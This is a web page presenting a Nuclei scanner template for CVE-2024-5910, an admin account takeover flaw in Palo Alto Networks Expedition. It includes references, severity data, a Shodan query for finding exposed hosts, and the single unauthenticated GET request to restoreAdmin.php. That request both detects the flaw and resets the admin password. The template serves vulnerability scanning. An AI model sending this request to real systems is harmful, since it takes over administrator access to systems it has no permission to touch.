Palo Alto Expedition - Admin Account Takeover

ID: CVE-2024-5910

Severity: critical

Author: johnk3r

Tags: cve,cve2024,palo-alto,auth-bypass,kev

Description

Missing authentication for a critical function in Palo Alto Networks Expedition can lead to an Expedition admin account takeover for attackers with network access to Expedition.

YAML Source

id: CVE-2024-5910

info:
  name: Palo Alto Expedition - Admin Account Takeover
  author: johnk3r
  severity: critical
  description: |
    Missing authentication for a critical function in Palo Alto Networks Expedition can lead to an Expedition admin account takeover for attackers with network access to Expedition.
  reference:
    - https://www.horizon3.ai/attack-research/palo-alto-expedition-from-n-day-to-full-compromise
    - https://security.paloaltonetworks.com/CVE-2024-5910
    - https://nvd.nist.gov/vuln/detail/CVE-2024-5910
  classification:
    cve-id: CVE-2024-5910
    cvss-score: 9.3
    cwe-id: CWE-306
    epss-score: 0.00043
    epss-percentile: 0.10397
  metadata:
    verified: true
    max-request: 1
    vendor: paloaltonetworks
    product: expedition
    shodan-query: http.favicon.hash:1499876150
  tags: cve,cve2024,palo-alto,auth-bypass,kev

http:
  - method: GET
    path:
      - "{{BaseURL}}/OS/startup/restore/restoreAdmin.php"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "Admin user found"
          - "Admin password restored"
        condition: and

      - type: status
        status:
          - 200
# digest: 490a004630440220524e960889ff9252ce00e51d8c2907361d84d2c9337f4a56bde720e9be895dd302200b21e7c3d719aca2fa2290a774da267b7582adc40b891f5288f3fd87bd6685de:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-5910.yaml"

View on Github